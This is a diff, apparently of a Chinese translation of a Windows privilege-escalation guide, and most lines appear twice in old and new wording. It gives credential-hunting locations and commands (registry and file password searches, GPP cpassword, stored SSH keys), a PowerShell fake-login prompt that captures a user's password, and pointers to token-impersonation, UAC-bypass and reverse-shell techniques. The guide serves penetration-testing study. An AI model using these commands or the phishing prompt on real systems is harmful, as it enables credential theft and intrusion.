人们常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息,而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得搜索和检查。
人们常在 Windows 工作站上使用便签应用程序来 **保存密码** 和其他信息,而没有意识到它是一个数据库文件。该文件位于 `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`,始终值得搜索和检查。
### AppCmd.exe
@ -886,7 +886,7 @@ $ErrorActionPreference = $OrigError
### SCClient / SCCM
检查 `C:\Windows\CCM\SCClient.exe` 是否存在。\
安装程序以 **SYSTEM 权限** 运行,许多程序易受 **DLL Sideloading 攻击(信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
安装程序以 **SYSTEM 权限** 运行,许多程序易受 **DLL Sideloading(信息来自** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**)。**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
@ -904,7 +904,7 @@ reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
```
### SSH 密钥在注册表中
SSH 私钥可以存储在注册表 `HKCU\Software\OpenSSH\Agent\Keys` 中,因此您应该检查那里是否有任何有趣的内容:
SSH 私钥可以存储在注册表 `HKCU\Software\OpenSSH\Agent\Keys` 中,因此您应该检查那里是否有任何有趣的内容:
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
@ -916,7 +916,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
> [!NOTE]
> 看起来这个技术不再有效。我尝试创建一些 ssh 密钥,使用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在procmon 在非对称密钥认证期间没有识别到 `dpapi.dll` 的使用。
> 看起来这个技术已经不再有效。我尝试创建一些 ssh 密钥,使用 `ssh-add` 添加它们,并通过 ssh 登录到一台机器。注册表 HKCU\Software\OpenSSH\Agent\Keys 不存在procmon 在非对称密钥认证期间没有识别到 `dpapi.dll` 的使用。
### Unattended files
```
@ -980,11 +980,11 @@ AppData\Roaming\gcloud\access_tokens.db
### Cached GPP Pasword
之前有一个功能允许通过组策略首选项GPP在一组机器上部署自定义本地管理员帐户。然而,这种方法存在重大安全缺陷。首先,存储在 SYSVOL 中的组策略对象GPO作为 XML 文件,可以被任何域用户访问。其次,这些 GPP 中的密码使用公开文档的默认密钥通过 AES256 加密,任何经过身份验证的用户都可以解密。这构成了严重风险,因为这可能允许用户获得提升的权限。
之前有一个功能允许通过组策略首选项 (GPP) 在一组机器上部署自定义本地管理员帐户。然而,这种方法存在重大安全缺陷。首先,存储在 SYSVOL 中的组策略对象 (GPO) 作为 XML 文件,可以被任何域用户访问。其次,这些 GPP 中的密码使用公开文档的默认密钥 AES256 加密,任何经过身份验证的用户都可以解密。这构成了严重风险,因为这可能允许用户获得提升的权限。
为了减轻这一风险,开发了一个功能,用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后,该功能解密密码并返回一个自定义 PowerShell 对象。该对象包有关 GPP 和文件位置的详细信息,有助于识别和修复此安全漏洞。
为了减轻这一风险,开发了一个功能,用于扫描包含非空 "cpassword" 字段的本地缓存 GPP 文件。找到此类文件后,该功能解密密码并返回一个自定义 PowerShell 对象。该对象包有关 GPP 和文件位置的详细信息,有助于识别和修复此安全漏洞。
`C:\ProgramData\Microsoft\Group Policy\history`_**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**(在 W Vista 之前)_ 中搜索这些文件:
`C:\ProgramData\Microsoft\Group Policy\history`_**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (在 W Vista 之前)_ 中搜索这些文件:
- Groups.xml
- Services.xml
@ -1056,7 +1056,7 @@ Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
```
### Ask for credentials
您可以始终**要求用户输入他的凭据,甚至是其他用户的凭据**,如果您认为他可能知道它们(请注意,**直接**客户**询问**凭据是非常**危险**的):
您可以始终**要求用户输入他的凭据,甚至是其他用户的凭据**,如果您认为他可能知道它们(请注意,**直接**客户**询问**凭据是非常**危险**的):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1178,7 +1178,7 @@ COM类和接口在注册表中分别定义在**HKEY\_**_**CLASSES\_**_**ROOT\CLS
![](<../../images/image (729).png>)
基本上,如果您可以**覆盖任何将要执行的DLL**您可以**提升权限**如果该DLL将由不同用户执行。
基本上,如果您可以**覆盖任何将要执行的DLL**如果该DLL将由不同用户执行,您就可以**提升权限**
要了解攻击者如何使用COM劫持作为持久性机制请查看
@ -1200,7 +1200,7 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```
**搜索注册表中的键名和密码**
**在注册表中搜索密钥名称和密码**
```bash
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
@ -1210,7 +1210,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
### 搜索密码的工具
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **是一个msf** 插件,我创建这个插件是为了 **自动执行每个在受害者内部搜索凭据的metasploit POST模块**。\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索此页面中提到的所有包含密码的文件。\
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 自动搜索本页面提到的所有包含密码的文件。\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) 是另一个从系统中提取密码的优秀工具。
工具 [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) 搜索 **会话**、**用户名** 和 **密码**这些数据以明文形式保存在多个工具中PuTTY、WinSCP、FileZilla、SuperPuTTY 和 RDP
@ -1222,10 +1222,10 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```
## 泄露的句柄
想象一下**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程(`OpenProcess()`)。同一个进程**还创建一个新进程**`CreateProcess()`**具有低权限但继承主进程的所有打开句柄**。\
然后,如果你对这个低权限进程**拥有完全访问权限**,你可以获取**通过`OpenProcess()`创建的特权进程的打开句柄**并**注入一个shellcode**。\
[阅读这个例子以获取更多关于**如何检测和利用此漏洞的信息**。](leaked-handle-exploitation.md)\
[阅读这篇**其他文章以获得更完整的解释,了解如何测试和滥用具有不同权限级别(不仅仅是完全访问)的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
想象一下**一个以SYSTEM身份运行的进程**通过**完全访问**打开一个新进程(`OpenProcess()`)。同一个进程**还创建一个新进程**`CreateProcess()`**具有低权限但继承主进程的所有打开句柄**。\
然后,如果你对这个低权限进程**拥有完全访问权限**,你可以获取通过`OpenProcess()`创建的**特权进程的打开句柄**并**注入一个shellcode**。\
[阅读这个例子以获取更多关于**如何检测和利用这个漏洞**的信息。](leaked-handle-exploitation.md)\
[阅读这个**其他帖子以获得更完整的解释,了解如何测试和滥用具有不同权限级别(不仅仅是完全访问)的进程和线程的更多打开句柄**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)。
## 命名管道客户端冒充
@ -1233,7 +1233,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Windows提供了一种称为**命名管道**的功能,允许不相关的进程共享数据,甚至跨不同网络。这类似于客户端/服务器架构,角色定义为**命名管道服务器**和**命名管道客户端**。
当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**承担客户端的身份**,前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**,你可以模仿它,这提供了**获得更高权限**的机会,通过采用该进程的身份,一旦它与您建立的管道进行交互。有关执行此类攻击的说明,可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)找到有用的指南。
当**客户端**通过管道发送数据时,设置管道的**服务器**有能力**承担客户端的身份**,前提是它具有必要的**SeImpersonate**权限。识别一个通过管道进行通信的**特权进程**,你可以模仿它,这提供了一个**获得更高权限**的机会,通过采用该进程的身份,一旦它与您建立的管道进行交互。有关执行此类攻击的说明,可以在[**这里**](named-pipe-client-impersonation.md)和[**这里**](#from-high-integrity-to-system)找到有用的指南。
此外,以下工具允许**使用像burp这样的工具拦截命名管道通信** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **而这个工具允许列出并查看所有管道以寻找特权提升** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
@ -1255,7 +1255,7 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2
## 从低权限用户到 NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC 绕过
如果您可以访问图形界面(通过控制台或 RDP并且启用了 UAC在某些版本的 Microsoft Windows 中,可以从一个无权限用户运行终端或任何其他进程,例如 "NT\AUTHORITY SYSTEM"。
如果您可以访问图形界面(通过控制台或 RDP并且 UAC 已启用,在某些版本的 Microsoft Windows 中,可以从无权限用户运行终端或任何其他进程,例如 "NT\AUTHORITY SYSTEM"。
这使得可以利用同一个漏洞同时提升权限并绕过 UAC。此外无需安装任何东西过程中使用的二进制文件是由 Microsoft 签名和发布的。
@ -1328,45 +1328,45 @@ sc start newservicename
```
### AlwaysInstallElevated
从高完整性进程中,您可以尝试**启用 AlwaysInstallElevated 注册表项**并**使用 _**.msi**_ 包装器安装**反向 shell。\
从高完整性进程中,您可以尝试**启用 AlwaysInstallElevated 注册表项**并使用 _**.msi**_ 包装器**安装**反向 shell。\
[有关相关注册表项和如何安装 _.msi_ 包的更多信息,请点击这里。](#alwaysinstallelevated)
### High + SeImpersonate privilege to System
### High + SeImpersonate 权限到 System
**您可以** [**在这里找到代码**](seimpersonate-from-high-to-system.md)**。**
### From SeDebug + SeImpersonate to Full Token privileges
### 从 SeDebug + SeImpersonate 到完整令牌权限
如果您拥有这些令牌权限(您可能会在已经是高完整性进程中找到),您将能够**打开几乎任何进程**(非受保护进程),使用 SeDebug 权限**复制进程的令牌**,并创建一个**具有该令牌的任意进程**。\
如果您拥有这些令牌权限(您可能会在已经是高完整性进程中找到),您将能够**打开几乎任何进程**(非受保护进程),使用 SeDebug 权限**复制进程的令牌**,并创建一个**具有该令牌的任意进程**。\
使用此技术通常**选择任何以 SYSTEM 身份运行的进程,具有所有令牌权限**_是的您可以找到没有所有令牌权限的 SYSTEM 进程_。\
**您可以在这里找到** [**执行所提议技术的代码示例**](sedebug-+-seimpersonate-copy-token.md)**。**
### **Named Pipes**
### **命名管道**
此技术被 meterpreter 用于在 `getsystem` 中进行升级。该技术包括**创建一个管道,然后创建/滥用一个服务来写入该管道**。然后,**使用 `SeImpersonate` 权限创建管道的**服务器将能够**模拟管道客户端(服务)的令牌**,从而获得 SYSTEM 权限。\
如果您想要[**了解更多关于命名管道的信息,您应该阅读这个**](#named-pipe-client-impersonation)。\
如果您想阅读一个[**如何通过命名管道从高完整性转到系统的示例,您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
如果您想阅读一个[**如何通过命名管道从高完整性转到 System 的示例,您应该阅读这个**](from-high-integrity-to-system-with-name-pipes.md)。
### Dll Hijacking
如果您设法**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll您将能够以这些权限执行任意代码。因此Dll Hijacking 对于这种特权升级也很有用,而且,如果从高完整性进程进行,**更容易实现**,因为它将对用于加载 dll 的文件夹具有**写权限**。\
如果您成功**劫持一个由以**SYSTEM**身份运行的**进程**加载的 dll您将能够以这些权限执行任意代码。因此Dll Hijacking 对于这种特权升级也很有用,而且,如果从高完整性进程进行,**更容易实现**,因为它将对加载 dll 的文件夹具有**写权限**。\
**您可以** [**在这里了解更多关于 Dll 劫持的信息**](dll-hijacking/index.html)**。**
### **From Administrator or Network Service to System**
### **从管理员或网络服务到 System**
{{#ref}}
https://github.com/sailay1996/RpcSsImpersonator
{{#endref}}
### From LOCAL SERVICE or NETWORK SERVICE to full privs
### 从 LOCAL SERVICE 或 NETWORK SERVICE 到完整权限
**阅读:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
## More help
## 更多帮助
[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
[静态 impacket 二进制文件](https://github.com/ropnop/impacket_static_binaries)
## Useful tools
## 有用的工具
**查找 Windows 本地特权升级向量的最佳工具:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
@ -1387,7 +1387,7 @@ https://github.com/sailay1996/RpcSsImpersonator
**Exe**
[**Watson**](https://github.com/rasta-mouse/Watson) -- 搜索已知的 privesc 漏洞(需要使用 VisualStudio 编译) ([**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以查找错误配置(更多是收集信息工具而非 privesc需要编译 **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- 枚举主机以搜索错误配置(更多是收集信息工具而非 privesc需要编译 **(**[**预编译**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- 从许多软件中提取凭据(在 github 上有预编译 exe**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- PowerUp 的 C# 移植**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- 检查错误配置(在 github 上的可执行文件预编译)。不推荐。它在 Win10 上效果不好。\
@ -1410,21 +1410,21 @@ _multi/recon/local_exploit_suggestor_
```
C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
```
## 参考书目
## 参考文献
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)\\
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)\\
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)\\
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)\\
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)\\
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)\\
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)\\
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)\\
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)\\
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)\\
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)\\
- [http://www.fuzzysecurity.com/tutorials/16.html](http://www.fuzzysecurity.com/tutorials/16.html)
- [http://www.greyhathacker.net/?p=738](http://www.greyhathacker.net/?p=738)
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
- [https://github.com/sagishahar/lpeworkshop](https://github.com/sagishahar/lpeworkshop)
- [https://www.youtube.com/watch?v=\_8xJaaQlpBo](https://www.youtube.com/watch?v=_8xJaaQlpBo)
- [https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
- [https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
- [https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md](https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md)
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
- [https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/](https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/)
- [https://github.com/frizb/Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation)
- [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
{{#include ../../banners/hacktricks-training.md}}